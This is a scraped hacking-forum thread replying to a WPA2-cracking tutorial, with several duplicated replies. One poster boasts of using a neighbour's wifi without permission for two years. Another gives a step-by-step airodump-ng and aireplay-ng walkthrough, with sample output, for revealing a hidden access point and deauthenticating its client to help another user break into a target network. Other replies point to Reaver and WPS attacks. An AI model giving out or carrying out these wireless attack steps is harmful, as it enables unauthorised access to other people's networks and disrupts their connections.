+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Network Hacking (https://sinister.ly/Forum-Network-Hacking)
+--- Thread: cracking WPA2 without dictionary! (/Thread-cracking-WPA2-without-dictionary)
RE: cracking WPA2 without dictionary! - Fury_mybb_import13756 - 10-03-2013
Nice Tutorial .
RE: cracking WPA2 without dictionary! - Fury_mybb_import13756 - 10-03-2013
Nice Tutorial .
RE: cracking WPA2 without dictionary! - mikeisnow - 10-28-2013
this one seems hard to work with eh.
RE: cracking WPA2 without dictionary! - mikeisnow - 10-28-2013
this one seems hard to work with eh.
RE: cracking WPA2 without dictionary! - mikeisnow - 10-28-2013
this one seems hard to work with eh.
RE: cracking WPA2 without dictionary! - mikeisnow - 10-28-2013
this one seems hard to work with eh.
RE: cracking WPA2 without dictionary! - westali - 11-04-2013
Method #2 implies that the target AP has WPS enabled and is not patched against this attack..
RE: cracking WPA2 without dictionary! - ph4ntom nuk3r - 11-05-2013
Now i am using my neighbour wifi for free its totaly near to 2 years. .
Just use my brain to crack it lol...
They have change the pssword for several times and similar.
RE: cracking WPA2 without dictionary! - ph4ntom nuk3r - 11-06-2013
(11-06-2013, 07:03 PM)blackboy104 Wrote: my target AP has wps: no when i use command: wash -i mon0 -C, but the result of using reaver was: Warning: Failed to associate with bssid (essid: xxxxxxx). in the past, i've successfully hacked this AP. but now, i cannot. can you help me?
done use single tools to attack. .
use another program to
do you get bssid:00:00:00:00:00:00 <this is hidden> its mac protected!
use this tools. .
(backtrack)
cmd:airodump-ng wlan1
The readout should be something like this:
CH 9 ][ BAT: 2 hours 18 mins ][ Elapsed: 8 s ][ 2013-11-6 04:55
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
28:EF:01:34:64:91 -28 19 1 0 6 54e WPA2 CCMP PSK linksys
28:EF:01:35:34:85 -41 17 0 0 6 54e WPA2 CCMP PSK <length: 6>
BSSID STATION PWR Rate Lost Packets Probes
28:EF:01:35:34:85 28:EF:01:23:45:67 -57 0 - 1 0
2) u will see the hidden bssid and use this cmd:
airodump-ng -c 6 --bssid 28:EF:01:35:34:85 wlan1
explanation of the switches are
-c = channel of target access point
--bssid = MAC address from the target access point
The airdump-ng readout should look like now:
CH 6 ][ BAT: 2 hours 18 mins ][ Elapsed: 8 s ][ 2013-11-6 04:55
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
28:EF:01:35:34:85 -42 17 0 0 6 54e WPA2 CCMP PSK <length: 6>
BSSID STATION PWR Rate Lost Packets Probes
28:EF:01:35:34:85 28:EF:01:23:45:67 -57 0 - 1 0 1
Now open a new terminal window and leave airodump-ng running.
Run this cmd in the new terminal. :-
aireplay-ng -0 30 -a 28:EF:01:35:34:85 -c 28:EF:01:23:45:67 wlan1
this cmd are as follows
-0 = Attack mode 0= de-authentication (The number following this indicates the number of packets.)
-a = Target access point mac address
-c = Target client mac address
Now switch back to the original terminal window that still has airodump-ng running.
This is what it should now look like:
CH 6 ][ BAT: 2 hours 18 mins ][ Elapsed: 8 s ][ 2013-11-6 04:55
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
28:EF:01:35:34:85 -42 17 0 0 6 54e WPA2 CCMP PSK hacked
BSSID STATION PWR Rate Lost Packets Probes
28:EF:01:35:34:85 28:EF:01:23:45:67 -57 0 - 1 0 1 hacked
If it does not work the first time try aireplay-ng again until it works .. :Smile:
RE: cracking WPA2 without dictionary! - knightserv - 11-10-2013
You should try using Reaver it hack wifi threw WPS.